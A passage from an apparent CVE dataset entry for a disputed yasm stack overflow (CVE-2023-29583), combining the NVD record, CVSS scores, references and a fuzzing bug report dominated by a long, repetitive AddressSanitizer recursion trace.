#234 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#235 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#236 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#237 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#238 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#239 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#240 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#241 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#242 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#243 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#244 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#245 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#246 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#247 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#248 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
SUMMARY: AddressSanitizer: stack-overflow /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1235 in parse_expr1
==2596551==ABORTING
```
## Reference
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr1/readme.md | stack-overflow yasm/modules/parsers/nasm/nasm-parse.c:1235 in parse_expr1 | https://api.github.com/repos/yasm/yasm/issues/217/comments | 1 | 2023-03-31T08:22:30Z | 2024-03-22T11:56:45Z | https://github.com/yasm/yasm/issues/217 | 1,648,921,272 | 217 | 5,011 |
CVE-2023-29583 | 2023-04-24T13:15:07.523 | yasm 1.3.0.55.g101bc was discovered to contain a stack overflow via the function parse_expr5 at /nasm/nasm-parse.c. Note: This has been disputed by third parties who argue this is a bug and not a security issue because yasm is a standalone program not designed to run untrusted code. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.5,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/218"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr5/readme.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/218"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr5/readme.md"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yasm_project:yasm:1.3.0.55.g101bc:*:*:*:*:*:*:*",
"matchCriteriaId": "4A03B4FD-736D-40B7-87B0-AC4EF2660C4B",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/yasm/yasm/issues/218 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] | # stack-overflow yasm/modules/parsers/nasm/nasm-parse.c:1303 in parse_expr5
## project address
https://github.com/yasm/yasm
## info
OS：Ubuntu20.04 TLS
Build: ./autogen.sh && make distclean && CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" ./configure --prefix=$PWD/build --disable-shared && make -j && make install
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr5/id:000456%2Csig:06%2Csrc:000215%2B005032%2Cop:splice%2Crep:64
## ASAN Info
```c
./yasm id:000456,sig:06,src:000215+005032,op:splice,rep:64
yasm: file name already has no extension: output will be in `yasm.out'
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3060203==ERROR: AddressSanitizer: stack-overflow on address 0x7ffebdf10ff8 (pc 0x00000063de80 bp 0x7ffebdf11120 sp 0x7ffebdf11000 T0)
#0 0x63de80 in nasm_parser_lex /home/z1r0/fuzzing/yasm/yasm/./modules/parsers/nasm/nasm-token.re:117
#1 0x57d60d in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1400:13
#2 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#3 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#4 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#5 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#6 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#7 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#8 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#9 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#10 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#11 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#12 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#13 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#14 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#15 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#16 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#17 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#18 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#19 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#20 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#21 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#22 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#23 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#24 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#25 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#26 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#27 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#28 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#29 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#30 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#31 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#32 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#33 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#34 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#35 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#36 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#37 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#38 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#39 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#40 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#41 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#42 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#43 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#44 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#45 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#46 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#47 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#48 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#49 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#50 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#51 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#52 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#53 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#54 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#55 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#56 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#57 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#58 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#59 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#60 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#61 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#62 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#63 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#64 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#65 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#66 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#67 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#68 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#69 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#70 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#71 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#72 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#73 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#74 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#75 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#76 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#77 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#78 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#79 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#80 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#81 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#82 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#83 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#84 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#85 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#86 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#87 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#88 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#89 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#90 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#91 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#92 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#93 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#94 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#95 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#96 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#97 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#98 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#99 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#100 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#101 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#102 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#103 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#104 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#105 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#106 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#107 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#108 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#109 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#110 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#111 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#112 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#113 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#114 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#115 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#116 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#117 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#118 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#119 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#120 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#121 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#122 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#123 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#124 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#125 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#126 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#127 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#128 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#129 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#130 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#131 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#132 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#133 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#134 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#135 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#136 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#137 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#138 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#139 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#140 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#141 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#142 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#143 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#144 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#145 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#146 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#147 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#148 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#149 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#150 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#151 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#152 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#153 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#154 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#155 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#156 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#157 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#158 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#159 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#160 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#161 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#162 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#163 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#164 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#165 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#166 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#167 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#168 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#169 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#170 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#171 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#172 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#173 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#174 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#175 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#176 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#177 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#178 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#179 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#180 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#181 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#182 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#183 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
